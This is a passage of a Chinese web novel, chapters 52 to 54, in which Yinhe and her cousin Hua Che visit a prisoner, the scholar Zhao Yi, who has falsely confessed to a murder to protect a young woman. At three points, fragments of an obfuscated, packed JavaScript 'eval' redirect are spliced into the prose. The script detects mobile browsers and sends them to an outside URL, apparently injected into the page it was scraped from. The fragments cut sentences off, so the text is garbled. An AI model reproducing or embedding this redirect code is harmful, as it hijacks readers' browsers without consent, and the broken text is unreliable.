这实在有些过河拆桥的意思,花澈也不恼:“正好,我也去求一愿。”他上车坐了。“妹妹伤还没好,何必跑来跑去,有什么话我可以代你转告佛祖,心意到就行,佛祖不会怪罪。” “只是小伤,已经没事了。”停停银荷又问,“那边怎么样?” 花澈说:“不过照章查案。人是郭家请去的,自然要先审他家里的人。妹妹放心,他们要是干净,冤枉不到他们头上。不用问肯定有鬼,不然请葛全有干吗,让他们狗咬狗去吧。还有那香,我掰了一段试过,倒没异样,应是只对女人有用。” “这又是什么邪门歪术,有没有只对男人管用的?”银荷愤慨道。 花澈想想说:“我没听过。不过也不足为奇,恐怕能想出要制这些东西的全是男人。” 银荷冷哼一声:“果然‘无毒不丈夫’。” 默然片刻,花澈说:“妹妹这话,我实在无力辩驳。妹妹本该舒畅无虑,我也不愿对妹妹说这些,但……还是认清了,提防着些好。妹妹可以对人多留点神,保护好自己。” 银荷本就感激花澈,听了这话,又多了几分说不清道不明的情绪。她克制着,点头应下。 到了寺门,她看一眼花澈:“三表哥先进去吧。” “还是妹妹的心愿更重要,你进去便是。我就不去惹佛祖讨厌了。” 银荷垂首步入寺中。 延恩寺不愧为京中乃至全国闻名的福地灵刹,一年到头都香火鼎盛,可此时已是下午,香客散去,只显得肃穆沉静,斜阳铺在飞檐斗拱之上,自有一番巍峨庄严。 银荷概不在意,她径直走进大雄宝殿。 三个月来,她几乎日日假装礼佛,如今倒还是第一次真正踏入大殿内。她没有四下细看,只隐约感到香案上烛台银灯一片暗金闪烁,幽光在袅袅的烟雾中轻晃,令人恍如沉入深深的潭底。 她面西跪下,低声念道:“姐姐,害你的坏人已经死了。我很好,别为我担心。” 然后她转身向佛像拜了三拜:“求佛祖保佑花家所有人一世平安。” 做完这些,她并没有站起来,只是迫使自己抬头看向佛陀。 还想求什么?除此之外,别无余事。 银荷依然笔直跪着。 人生苦短,不过“隙中驹石中火梦中身”,谁能得到所有?可她还是想要抓住,想得几乎掉下泪来。 不知过了几多时候,身体似乎都麻木了,她想要的指点,却还无人回答。头脑里,还不停自辩着。 最后,银荷心一横:“我懂了。” “懂了什么?” “能为兄妹,已是过奢。我不求了。” “又撒谎。” “我没有。” “回答不老实。” “我没有!” 一时间三千诸佛、五百阿罗、四大菩萨、八大金刚,一齐铿然喝道:“回答不老实!” 银荷紧紧捂住耳朵,逃不开这滚雷般的声音,她在心中大喊:“我没有!” 然而没用,黑暗伸出一只大手,将她攥在了掌心之中。 52. 错案 “傻妹妹。” 银荷全身一震。她好似曾听过这几个字。在何时,于何地? 无所谓,该醒了,她在心中嗟叹,睁开了眼。 花澈正低头看着。银荷惊慌失措地坐起来。身下是禅床,他们正在一间禅房中。 “妹妹真是与众不同,还是头一回见到拜佛时能睡着的,就在佛像眼皮子底下。”花澈温和地笑她。 “过去多久了?” “不到一炷香。妹妹要是还累,可以再睡一会儿。我在外面等着。” “我不累,回去吧。” “妹妹的愿望许完了?” “嗯。”银荷不看他,急匆匆站起来。又是一阵眩晕,周围没有可以扶住的东西,她硬生生站住,假装没看到花澈伸过来的手。 “妹妹还是先坐下,喝点儿茶再走。” 话音刚落,就有小沙弥敲门进来,放下托盘,双手合十鞠了一躬,又默默退出去。银荷看他离开,无奈坐下。 花澈已经倒好一盏茶,放在她面前。“喝了。” 她双手拢住杯子,喝了一小口。 茶水又甜又烫,真舒服啊。茶该是辛甜交加的,没想到寺院里有这样甜的茶,银荷奇怪地想。 她慢慢喝了几口,花澈便说:“妹妹不用害怕,佛爷不会怪罪你。我保证,不管哪一个,就算果真有神仙妖魔,也都不会为你杀了葛全有来找麻烦。” 银荷没有说话,花澈看看她的脸,问:“是因为这个吗?” “不是,我不怕这个。” “那为了什么?” 银荷不答。 “妹妹向来心思剔透,灯人儿似的,怎么偏要钻牛角。”花澈笑道。 银荷望着桌上那盏莲花灯,烛苗不过一豆,却灼灼明亮着。 心一慌:“不是我要乱想,只是胳膊疼得夜里睡不着。”话一出口她就后悔了,不该找这个借口。 “我看看。”花澈已经抓住她的手,解开帕子,在灯下仔细察看伤处。 银荷尴尬地别过脸。他会发现她在撒谎,伤口已经好多了。 “我说你该好好养两天,非急着跑出来。”花澈又在小心地上药,“昨天忘记了,你一只手没法换药,明天我会再找你。只好先忍着些,过两天就不会疼了。” “也许我该拜拜千手观音。”她强笑道。 “这种事情何劳菩萨?妹妹就是不肯信我。” 银荷不敢看花澈的脸,快快瞄了一眼就移开视线。他的神情是专注温柔的,她心里一痛。 他总是这样,漂亮话随随便便就来。谁能辩得出究竟有几分真,几分假?可自己为何计较,本来没什么相干。得的太多,又会觉得似乎不够。 重新包好伤处后,银荷一口喝光杯里的茶,站起身来环顾四周:“之前我就是在这里抄经吗?” “是。” “以后不用再来了。”她故作轻松说。 “妹妹不愿来了?就不想再出门散散心?” “回去吧。” 第二日,银荷连屋门都没打算出。可灵曦还是找到她:“三爷说如果姑娘身上舒服些了,想请姑娘过去一趟。” “请你告诉他我这边已经不碍事了,不用再麻烦他。”银荷以为是为了伤口。 “是三爷另有事情。” 与案子有关?这倒不该推脱。银荷匆匆赶去。 花澈向她胳膊瞄一眼,小刀递还给她,一面问:“妹妹可听过一个叫赵毅的人?” “没听过,什么人?” “和四弟是同榜,刚入了翰林院。” “那不就是卫大哥说……” 一道目光射过来:“什么?” “卫公子上回提过翰林院的几个人,不知其中可有这位。问问四表哥便知,为何问我?” 花澈继续问:“赵毅和郭家太太沾点儿亲。你可听郭姑娘说起过?” “从来没有。”银荷愈加疑惑,并且隐隐感觉不对。 “你见过这个人吗?”花澈拿出一纸画像给银荷看。 是张头像,画得潦草,但能看出一张前额开阔、下颌略方的脸,五官都生得端端正正,脸上也没有伤疤、麻子,一看就是位白面书生。 银荷再一次摇头。“没见过,他就是赵公子?” “那么,妹妹只听过这人,但没见过他?” “也没听……究竟怎么了?” 花澈皱起眉头:“昨日他被关进牢里,罪名是杀害葛全有。” 尽管已有预感,银荷还是忍不住喊叫:“怎么会找上他的?” “他当时也在郭家做客。前日晚上,有人看到他在葛全有的屋外转过几圈。” “那也不能就赖到他身上。——怎么没人说看到我?” “郭家要赖到他身上倒不奇怪,让人想不通的是——他自己也承认人是他杀的。” “他们把一个无辜的人屈打成招了?”银荷愤慨地喊道。 花澈被逗乐了。“据我所知不是这样。刑房那些人最懂看人下菜,好歹是皇帝试策出的进士,他们得先掂量掂量,还不至胆大到这个地步。是他自己承认的,还没有升堂审案他就认了。” “这种事也能乱认?他既没干过,为什么要认?” “若他不疯不傻,无非一种可能,他想包庇别人。” 银荷忽地想起早先映雪隐约提过,诗钰有位青梅竹马的表亲。“这么说赵公子以为人是诗钰姐姐杀的?” “或许吧,不过我觉得不太像。”花澈推敲着,“他为何这般着急认罪,郭姑娘目前还一点儿嫌疑都没有。郭家偏巧在同一天请这么多客人……那天妹妹注意到有什么不对吗?” 银荷摇摇头,歉疚道:“那天一开始只见到郭家大奶奶和两位姑娘。后来听见好像是——大概他们想要诗钰姐姐去见见葛全有。我就再没留意别的,也不记得有没有提过其他客人。” “不能怪你。是我去晚了,而且也没先打听清楚。” “诗钰姐姐好像的确不愿去见葛全有,她和那赵公子……我们能不能去看一看赵公子,也许就能问明白了。” 她说“我们”的样子让花澈觉得很称心。 “找你来就是为了这个,我们走吧。” “这就去?他在哪里?” “暂时把他羁押在府衙,已经打过招呼了,还能见一见。衣裳在那儿,你看行不行。”花澈指指一旁的帏帽与黑色披风。 上了马车,银荷一路还在猜测担心,怕害得无辜之人顶罪问死。 “放心吧。他要是正直无欺,绝栽不到他头上。”花澈说,随即又严肃地看着银荷,“只一样,咱们有言在先——不管他是什么人,你要是说出来是你干的,今天晚上我就让他死在牢里。” 马车直驶入了府台衙门院内。花澈让银荷先在车里等着,过会儿他回来说:“好了,妹妹跟我过去吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282147|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人进了一个小房间,屋内无人,只摆了几张桌椅。 “这是缮写文书的地方。监牢里太脏,没法带妹妹进去,我让他们把人带过来。不过命案要犯押在重监,不好随便,出来还得一番折腾,我们先看看辞录。” 花澈说着递给银荷一沓案卷。银荷翻翻,相关数人的证供记录俱在其中,她先取出赵毅本人的,拣要紧部分看起来。 “某姓赵……与葛全有平素不相识,案发当日在郭家与葛乃初次见面。 郭家太太王氏是某姨母。某幼年失怙,承蒙姨丈一家照拂,多出入郭宅,并于此结识姨丈之侄女郭姑娘。郭姑娘为其伯父收养,因感身世类同,与某友善。数年前,姨母做主,某与郭姑娘定下亲事。后某思及家业萧条,一无长物,不愿以儿时笑闹之谈,贻误郭姑娘终身,故某提出取消婚约。 距本案六日前,某路遇表兄郭传智,郭兄邀某共餐。席间,询问某是否仍意属郭姑娘,答曰:往事俱已放下,惟愿郭姑娘早日觅得佳偶。郭兄闻言喜悦,称他已为郭姑娘找到佳婿,只等二人相看。某当时尚不知其姓名,后来得知是叫做葛全有。 郭兄先夸赞葛家财万贯,出手阔绰,称他慷慨仗义。某亦为郭姑娘欣喜。但郭兄酒后又说与葛在秦楼楚馆结识。听闻此,某心内深觉不妥。某对郭姑娘虽无男女之情,仍有兄妹之谊。按郭兄形容,葛其人实非良配。 某劝说郭兄,但郭兄认为某过虑,并邀某几日后去郭宅,认识葛其人再下评论。某本不欲答应,但想郭姑娘年轻单纯,恐易受蒙骗,理应劝说之。若因某一时疏懒,或怕遭遇误会而有意回避,令郭姑娘饮恨终生,岂非君子所为?遂应下。 事发当日,某提前离值,独身一人前往郭宅,到时约申时三刻。葛全有已到,正与郭兄饮酒,同席无旁人。某与葛攀谈数语,发觉此人果真言语下流,举止粗鄙,生活堕落。某不愿与其多交,借故离席。 离开后,某心懒身疲,因往日在郭宅有一小房常住,便自去收拾歇下。 约酉时正,某感到肚中饥饿,意欲去厨房寻些饭食。出门后,恰遇郭姑娘,便相询葛全有之事。郭姑娘称已见过葛,对他无意。两三言语后郭姑娘与某别过。 某找到饭食,归房用完,又想起之前言语间对葛多有冒犯。葛是郭家客人,某作为主人亲戚,待客人粗鲁无礼,实属不该,更愧对姨丈一家多年栽培。再三考虑后,某决定去向葛道歉。 某等待少时,估摸席散后,便去葛房间寻他。到他屋外,见房门开着,某唤了几声,无人答应。某担心葛全有醉卧无人照应,便自进屋查看,见葛正独自在屋内,虽酒已半酣,神志仍清楚。 某上前好言致歉,谁知葛非但不肯接受某道歉,还出言辱骂于某,言辞十分不堪,毋需多述。愤恨之下,某顿生杀意,骗葛说有稀罕东西要他瞧,诱他出屋。某对郭宅熟悉,知道柴房附近仅置杂物,平时无人过去。 到柴房,某找到绳子,将葛全有推倒后捆起,又堵上他嘴。恰好之前去厨房看见把切肉刀,便偷偷取来,将葛刺死。某不记得具体时候,那时已天黑。 事毕,某将刀子清洗干净放回原处,回屋歇息。 次日清晨,葛尸体被发现。初时某装作不知情,妄图蒙混过去。不承想有人看到某进了葛全有房间。事已至此,某无意再抵赖,嫁祸旁人。 以上所言,句句属实。杀死葛全有,赵某绝不后悔,认罪伏法,别无他愿。” 53. 缘由 “分明不对嘛。他说塞住葛全有的口再去拿刀,没有刀,他如何割下葛全有的衣服?——那痕迹一看就是刀割的。这位青天老爷根本没有好好审案。”银荷说。 “妹妹再瞧这个。”花澈笑着递给她另几张纸。 “鄙人郭传智,与被害人葛全有相识近一月。葛公子为人豪爽仗义…… 约十日前,葛公子约鄙人在知春馆见面,绰号杨柳青的花魁娘子作陪。葛赞她相貌,当时鄙人不胜酒力,一不留神就说:舍妹比花魁更美三分。 葛称,他想要一位貌美温良的清白女子为妻。奈何久未找到,这才来京游览,排遣苦闷。若果真如鄙人所说,他愿意求娶舍妹。 鄙人当他只是酒后戏言,便问:‘令高堂不在京中,你自己如何做主?’葛答,只需他本人中意即可。他会速上书秉明父母,同时托人作保提亲。 鄙人听他说话认真,有些心动。葛相貌堂堂,言谈间颇见头脑,虽难免年少荒唐之举,但若得贤妻规劝,定能走上正途。舍妹人才出众,性子温和,正该觅得佳偶。鄙人之意……于是便约定日子,请葛全有来寒舍做客。 而后,鄙人又想起表弟赵毅。他与舍妹在几年前曾立过婚约,虽已不作数,但万一他仍襄王有意,鄙人怕他怪罪,日后见面不好看。 表弟否认还想娶舍妹,但鄙人告知葛一事后,他神情很不高兴。果真如鄙人所料,他们读书人面皮薄,言不由衷。鄙人想,且激他一激,便请他也去做客。 鄙人哪里料到他文绉绉的,还能动刀子…… 那日下午,葛先到,半个时辰后,赵毅到,约摸是酉时前。 其时,葛并未见过舍妹。鄙人只让舍妹暗里相看葛,待问明她心意再说。但席间,葛提到舍妹,赵毅极恼火。鄙人劝酒岔开。后赵称头疼离开。 过后不久,鄙人回屋询问拙荆舍妹意下如何。拙荆答舍妹不愿,此事便作罢。 鄙人对葛有愧,回席多劝了他几杯。但葛量大,鄙人先醉了过去,被人扶回房躺下。直至第二日早上被管事叫起说葛公子死了,这中间的事情鄙人是一概不知。 ……至于迷香,鄙人家中绝无此物,必是葛带来的。鄙人不知他用意,若他果真起了邪心,鄙人以为,表弟杀他亦不为过。 ……家中仆人均老实本分,绝不会为贪图财物杀人。蟊贼也绝不敢进寒舍盗窃。 要说鄙人有错,便是为招待葛,特意开了几坛酒,吃剩的分于下人,不料当晚他们就吃喝起来,聚在院子另一头,听不到这边动静。 ……” 之后郭传智还颠三倒四说了一堆。银荷实在厌恶,扔到一边,再看别人的。 其余人证词都不长。郭诗钰证实了两人说的话:见到葛全有后,很是讨厌,在堂嫂和赵毅问起时,均如此承认。 郭家一位仆妇称,那晚路过看见赵毅进了葛全有屋子,不过她当时并未往心里去,随即离开了,没看到二人出来,也没听到说话声音。那时天已黑了大半,但还能勉强看清,而且“赵公子我熟悉,绝对没认错。”她还说“赵公子是好人。葛公子带来的两个小厮贼喊捉贼,必定有鬼。” 葛全有的二名小厮一直在一起,供词几乎相同。他们疑心郭传智给葛全有送了个姑娘,两人不便进屋服侍,自去寻地方歇息了。“没亲眼见到,但看姓郭的就是那个意思,使美人计把我家爷骗来害死。” 案卷中还记有知春馆杨柳青姑娘的证词,她确实听到了郭和葛二人对话,但她认为葛全有并无当真娶妻的打算。“郭大爷一走,他便跟我说,郭姑娘肯定比不上我。我知道他是哄人,不过葛大爷倒不该死,要是我能早知道,那天说什么也要留住他。”她同样一口否认见过迷香,“我们从来用不着这些玩意儿。” 银荷看得生气,抖着手中纸张冷笑道:“难为他们还找了这么些人讯问,白费力气,结果还是断错了。” “那妹妹是希望把你断出来?” “那当然不是。我只是觉得不该是赵毅……”银荷眉头越锁越紧,“至少他不似这个郭传智,看他说话就讨厌。不过,那天我们几个在郭家,怎么没人提到。” “提是有人提,因不相干,便没记录。实际上,郭传智还说了郭姑娘和咱们家的关系,葛全有还说认识我,那花魁娘子都听到了。我估摸郭传智为了证明自己所言非虚,才在同一天请了你们和葛全有。他胆子倒还不小,就差给那畜生引见你们了。凭这个,也不能轻饶了他。” “那能让他们先放了赵毅?” 花澈摇摇头:“怕是麻烦些,命案嫌犯不得随随便便开释。有他画押的供状在先,就是妹妹跳出来,只怕人家也难信服。” “那……”银荷顿住了,她不能眼睁睁看一个无辜的人代她受过。 “妹妹放心,肯定有办法。记得你答应我的事就行。我们还是先听听他本人怎么说吧,知道缘故便好办。” 没一会儿,两个刑房吏卒押了赵毅进来。赵毅颈上戴了枷锁,脚上栓了锁链,行动极不便,迟缓地走到屋中站好。 银荷飞快地打量他几眼。她确实未见过这个人,但这第一面下,对他的印象却非常好。尽管处于逆境,甚或可说是绝境,他却浑不在意。银荷本以为能在他眼中找到不甘与悲戚,并没有。他好似心平气和接受了整件事,然后便将它放置一旁。 银荷亦没看出他被逼供拷打过。不过,他的囚衣很脏,头发乱蓬蓬的,嘴唇也干得裂了。 “劳二位大哥拿杯水来,再把这个卸掉。”银荷指指枷锁,对那两个狱卒说。 两人听见说话,惊讶地瞧着她,立在原地没动。花澈上前一人手里塞了一锭银子。“有劳了。” 其中一人赶忙出去,另一人走到赵毅身边。银荷以为他要打开枷锁,谁知他只用手拍了拍,然后对银荷说:“姑娘放心,东西牢靠。虽然没多舒服,也就戴这一会儿。既然能杀人,就得受得了苦。规矩就是这般,取下来不太好办,万一出事我们担待不起。” “不会有事,不用你们担待。” 那人为难着不动,另一人端了水回来,银荷接过杯子说:“不取下来,怎么喝水?” “这可是杀人犯,姑娘你不怕?我上有老下有小,既不想丢了差事,更不想在这里丢了命。”刚进来的狱卒装出个抹脖子一命呜呼的样子。 “胡说。他杀没杀人我最清楚。谁说是他干的,人证物证在哪儿?” “他自个儿都承认了,凶器也找到了。另外的证人也有,他进遇害人屋子,叫人看见过,板上钉钉的事儿。”那狱卒摇头道。凶杀案不是天天碰到,嫌犯主动承认、动机可能牵扯个姑娘的更新鲜,他们无事时早已议论了个够,门儿清了,这会儿便乐滋滋向银荷解释几句。 “那些算什么证据,哪个人亲眼瞧见他杀人?谁的口供都信吗,我也能拿出一把刀,那天我同样在现场,我也进去过那间屋里,说不定也叫人看见了。”银荷毫不客气地说。 赵毅初时带些困惑地看了看花澈,对银荷不过扫一眼,之后就望向墙壁,一语不发,好像几人与他无干。听到这最后一句话,他立即看向银荷,死死盯着她,好像要瞅清楚她的模样。 两个狱卒先是一愣,反应过来后想笑又赶紧忍住。其中一人说:“姑娘也在场吗,莫非你就是那位……”他话未说完,看见花澈眼神,把后半句咽回去,清清嗓子,正色道,“杀人岂是儿戏,姑娘莫要说笑消遣我们。咱们也是听命办差,出了差错没法交代。二位有话要讲,人带来了,还是快说正事吧。” 花澈上前,一手搭上他肩膀说:“我们也不想为难大哥,还是我来吧。两位不用担心,都在我身上,有不妥我会向周存礼去说。” 他走到赵毅身旁,抬起手来:“节省工夫,还得麻烦大哥告诉我是哪一把。” 那狱卒大惊,赶紧低头去摸,发现腰间系着的一串钥匙已经不见。他想发火,又猜测花澈准是哪个大官老爷的公子,能直呼府尹名讳,还能交代把重案犯带出来,更何况钥匙已被他拿在手里了。他苦笑道:“还是我来。”上前打开锁子。 赵毅没动,顺从地让人除下枷锁,仍看向银荷。银荷把水杯递给他。喝完后,他温和地道了谢。银荷拉过把椅子说:“赵公子请坐下。”她在对面坐了,摘掉帏帽,放在一旁。“赵公子愿意和我说几句话吗?” 见她露出脸来,两位狱吏俱是一震,屋内瞬间安静异常。银荷没在意,她一直看着赵毅,捕到他眼里一闪而过的失望之色。 她心念一动,转向两位狱吏:“麻烦两位大哥,能不能让我和赵公子单独待一会儿。” 两人正盯着她看,不及收回目光,像被人拿了赃似的尴尬不已,互相瞅瞅,口里说:“好,好,我们在外头守着。”说罢低头出去。 “你也去外面。”银荷又对花澈说,看他要张嘴,赶紧补上,“三表哥。”她早就发现,只要加上称呼,花澈就会好说话些。 果然他露出笑意:“既然妹妹吩咐。” 等花澈带上门,银荷立即转向赵毅:“我知道不是你。赵公子认下,是因为什么缘故?” 赵毅没答她:“姑娘是?为何来找我?” 银荷歉然:“瞧我礼貌都不要了。我姓曲,我是……郭姑娘的朋友。我们是想帮你,你不会有事的,不管因为什么……” “没有其它缘故。”赵毅打断银荷,随即又变了语气,“抱歉,不是要对姑娘无礼,不过我确实杀了人。” “怎么可能?你骗得过别人骗不了我。因为……郭姑娘反正不信是你。” “郭姑娘并不知我。”赵毅说,“请转告她,她的好意我很感激,但此事系我与葛全有的个人恩怨,实在和她无关,请她毋要不过意。你们也不必为我费心,一人做事一人当,我没什么需要帮忙,也没什么放不下的。”说到最后,他语调有些苦涩。 “真的没有?”银荷诚恳地看着他,“事情不是你做的,你怎么当?赵公子,我想你必定有一番缘故。你肯不肯告诉我,那天你进了葛全有房间,碰到的那个姑娘是谁?” 赵毅猛地瞪圆双眼:“你从何知道?” “我那天也在。我和郭姑娘差不多,都是花家的表亲,故此结识,那天我是她的客人。我不小心进到了葛全有屋中,他屋内点了香,我头晕,没敢多待就走了,所以没发现屋里还有人。”回想起来,葛全有差点儿又做了坏事,银荷恨不得他活过来让她再杀一次。 赵毅怔怔看着她,但他并没真的看见。他也在想着前天晚上的事。 过了一会儿,他醒过神来。银荷的目光真挚,他不由说:“确实如你所说,我碰到个姑娘,但我不知道她是谁。” “不论她是谁,人也不是她杀的。你用不着替她顶罪。” “不是这样,”赵毅摇摇头,“你已经知道我的供述了?”他看向旁边桌上的卷宗。 银荷轻轻点头,等着他说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我只在门口找了找,怕惊动别人给她惹来麻烦。但我担心了一夜,总觉得会有事发生。第二天早上,听到葛全有竟死了,我既高兴,又疑心和那位姑娘有没有关系。我把她留下的字条烧了,装作什么都没发生。 “官差来查案,我们都被关起来等着问话。我始终没见到那姑娘也没听人提起,我想她大概平安离去回家了。但我突然又想到这个案子要细查,很可能把她找出来。对姑娘来说,碰到这样的事一定不希望有人知道。 “所以我就干脆承认是我杀的人,恰好有人看见我去了葛全有那里。剩下的你都知道了。” 银荷实在想不透怎么会有人如此糊涂。“你觉得她的名声,比你的性命还重要?你愿舍了自己的命,就为一个根本不认识的人?” “我认识她,只是不知道她的名姓而已。”赵毅温和地纠正。 银荷愣住,不知为何,一阵酸涩涌上她的心头。 “再说我并不是为她。”赵毅道歉似的说,“我是为了那位——无论谁杀了葛全有,必是一位侠义之士。我很敬仰这样的好汉,他做了我想做而远做不到的。我无能如他一般惩奸除恶,总可以助他脱身。若他将来再做出一番事情,也算有我的功劳。” “他果真是位好汉,还能眼睁睁看你为他抵命?”银荷发急道。 赵毅直了直身子,慨然道:“我意已决,没有二话。请姑娘也不必多说了。” “可还有那位姑娘。她要是知道了,心中该多么难受,甚至难过一辈子,你也毫不理会?” “她不会知晓。” “那可不由你。我今天回去就告诉她。”银荷说着作势起身。 “等一等。”赵毅一下子站起来,变了脸色,“你知道她是谁?” “当然知道。” “她长得很美……”赵毅又坐下,喃喃说,好像怕银荷认错人。 “没错。我天天都见到她。她要是知道你逼她领受这么大的情——” “我没想要她领情。我只希望她能好好的。所以你别去对她说,你不能说。过阵子她就会忘了。” “赵大哥,你想想,她不可能自己跑到葛全有屋里。那个帮凶还没找到,你却要白白送死。”银荷恳求地望着他。 “我知道,就是我的表兄。”赵毅沉重道,“但是我也没办法。表兄一家于我有恩,我只希望经此一事,他能幡然悔悟。” “那你可别把他想得太好了。反正你别认下。”银荷急切地说,“我们会有办法。赵大哥只要先翻供便可。” “感谢姑娘,但是……”赵毅又向银荷瞧瞧,仍带着疑惑。 “我有我的缘故……而且,你救的那位姑娘,她肯定也会高兴。我是她的表姐,刚才那位是她的亲兄长。你救了她,是我们该感激。” 赵毅大为感动:“那就太好了,我一直怕她无人关照,独自……现下,我没有放心不了的了。” “你还是不肯——我找她来亲自劝你。”情急之下,银荷这样说。 “她真会来?”赵毅眼中闪现激动之色,随即又露出犹豫的神情,“……不必了,我会按你说的做。当然,我也很想能眼见她无事……” “好,一言为定。”银荷痛快答应。 赵毅却又说:“要是她不愿意说话也可以,只要远远地见到就行。” “你放心好了,她会来。”银荷点点头,起身打开门。 花澈进屋后还没说话,那两位狱卒又急火火跑来。“说完了吗,赶紧着,还有人想要见你呢。”一人冲赵毅扬扬下巴。 “是谁?”赵毅问。 “翰林院的卫大人。” 54. 受骗 听到卫维扬要来,银荷和赵毅都又惊讶又感动。 不及多说,银荷急忙道:“我们明日再来,赵大哥可别告诉人。” “我不会对人说,请姑娘放心。” 花澈向狱吏道:“直接请卫大人来这里见得了,省得你们麻烦。” 那狱吏料想上司不会见责,便同意了。 “我们快走。”银荷一把抓起帏帽戴上。 “这又急什么,时候还早。”花澈慢条斯理地帮她正好帽子。 银荷几乎要跺脚,一扭身就先出了屋子。花澈向赵毅笑笑,跟了出去。 门外是条走廊,走廊一面俱是屋子。刚走到拐弯处,银荷探出半身又赶快退回来,拉花澈钻进旁边房间。幸好屋内没人,银荷听外头脚步声止,方小声说:“好了,走吧。” 等到了车上,花澈才开口:“怎么这样鬼鬼祟祟,妹妹什么时候起又不乐意见卫公子了?” “卫公子若问起来呢?不是知晓的人越少越好?” “问也不怕。我倒还有一事想问他,看卫公子怎么说。”花澈沉着脸道。 “问他什么?”银荷摘掉帽子,问。 花澈不回答,停了一停,笑笑:“刚才我在外头等着的时候,不小心听到那两人聊天。有时候听别人讲话可真有意思,他们说了句话,我以为很有道理。” “什么话?”银荷好奇道,以为与案子有关。 “他们说妹妹——‘像那样的姑娘若想给别人心口上戳窟窿,哪里用得着真格动刀子?’” “胡说八道!”银荷气得涨红了脸,“他们凭什么取笑人。” “妹妹不用和他们计较,只说这话有没有道理?” “没有。无聊!赵公子的事呢,你怎么不着急?” “妹妹不是说服他了?” “那你知不知道他是为了救瑶妹妹。” 这下花澈真的惊讶了。银荷便将前因后果告诉他一遍。 “好。等我去找姓郭的算账。”最后,花澈又是阴沉沉地说。 银荷问:“赵公子想先见一见瑶妹妹,可以吗?” “那要问问三妹,愿意的话明天带她来便是,若她不肯就算了。” 银荷想到花瑶容易羞怯,发起愁:“我已经答应了赵公子,万一他以为我骗他……” “没什么可担心,三妹必肯的。见一见说清楚了,对她也好,省得她胡思乱想,自己吓自己。” 静默了一会儿,花澈忽又开口,恍然道:“我说呢,怎么刚才一回去,那赵兄弟再看见我,神情都换了一副。原来见我,如见大舅子。” 银荷万没料到他能说出这种话,先替花瑶恼了——若她本人听见更不知得恼成怎样。 “你说的这叫什么话?” “实话呀。我就是没有大舅子小舅子,要不然,我对他们管保比对自个儿亲兄弟还要好。妹妹说,有哪里不对?” 越发不像样了,这又与他有没有大舅子什么相干。银荷气道:“你别美了,赵公子肯定是瞧你讨厌。” 花澈摇摇头:“不信你就看着。” 银荷到底也忍不住想笑,赶紧低下头。 不知会不会真有那么一天,花瑶可以忘记卫维扬。一个人真能从心底拔去另一个人?就算能,一定也很不容易。世间有多少遗憾啊。银荷又不禁怅然叹息。 “妹妹在想什么?” “我在想该怎么对瑶妹妹说。” “如实说就行,她也不是小孩子了,可以听得真话。我是说关于赵公子那部分。你的事情还是别说了,再教出一个来,迟早要闹到不可收拾。” 银荷答应了。确实,这件事完成,她不能再麻烦花澈。 回到花府,银荷便去找花瑶。 蝶衣等丫环们都在门口站着玩,见了她说:“姑娘来得不巧,三姑娘刚刚睡下。” “瑶妹妹还不舒服,怎么这个时候又睡觉?我就说几句话,不用瑶妹妹起来。” 蝶衣为难道:“姑娘还是下次再来吧。” 银荷知道花瑶有意躲着,若这样恐怕一连几天都见不到她,正犹豫间,花澈从后面走过来,问道:“三姑娘怎么了?” 小丫头们互相看着不敢说话,蝶衣也支支吾吾说不出来。 于是花澈喊道:“三妹妹,要不要紧,请个大夫给你瞧瞧?” 停了一瞬,花瑶声音响起:“这就来。我没事,三哥。” 很快,花瑶低着头出来,跟在后面的还有蝉影。蝉影肚子已经很大,走到跟前,颤巍巍想要行礼。银荷忙扶住她:“蝉影姐姐慢些,咱们进屋坐下。” 蝉影神色黯然,摇摇头说:“我来看看三姑娘,若无事,我先走了。” 银荷自打那回被她抢白后,很少见到她,更没单独说过话。这时早已不计较前事,见蝉影花瑶二人仍要好,心里尤其开心,想拉住她。不过蝉影的性子,要知道了花瑶的事肯定着急,她快生产了禁不起大波动。于是银荷说:“我改天去看你。”小丫环赶忙扶了蝉影离开。 花瑶这才小声解释:“三哥,我让蝉影陪我一会儿,不是有意——” 花澈笑着打断她:“三妹妹想找谁都行,有事别老闷在心里。好了,你们女孩儿说话,我就不凑热闹了。” 银荷和花瑶进屋坐下,花瑶低头不吭声,手里只管转着腕上镯子玩。银荷说:“我们前几天去郭姑娘家——”刚说了这句,花瑶立即抬起头,恳求地望着她。银荷狠狠心,继续说下去,“后来出了那档事——死的人是个坏蛋。他们以为抓到凶手,但是抓错了。” “抓了什么人,怎么错了,由心姐姐如何得知?”花瑶颤声问。 “是三表哥觉得蹊跷,就去打听这事,你知道他发现了什么?” 花瑶眼里闪出泪光,嘴唇颤颤抖抖,说不出话来。她比其他人更相信花澈神通广大,他一定已经全知道了。 “抓住的人叫赵毅。” 听到这个名字,花瑶神色并没变化,银荷拿出那张画像。 花瑶只看了一眼,就捂住嘴大哭起来:“都怪我。” “怎么能怪你?瑶妹妹别急,不是他。他没有杀人,绝对没有。他只是为了……你可以救他。” “要我做什么?”花瑶抬起头,暂时止住了泪。 “他以为你害怕让人知晓,你可以告诉他你没事。” “我不怕。”花瑶擦干泪水,点着头。 “那到底是怎么回事,是谁把你带去那屋里?” “是诗钰姐姐。她说是你在等着我,我就去了。” 银荷呆住,诗钰竟会做这种事? “我没有怀疑你,我当时就知道我是被骗了。”花瑶赶紧澄清。 “我知道。”银荷握住她手。 两人沉默着。想起过去姐妹们一起玩耍的时光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 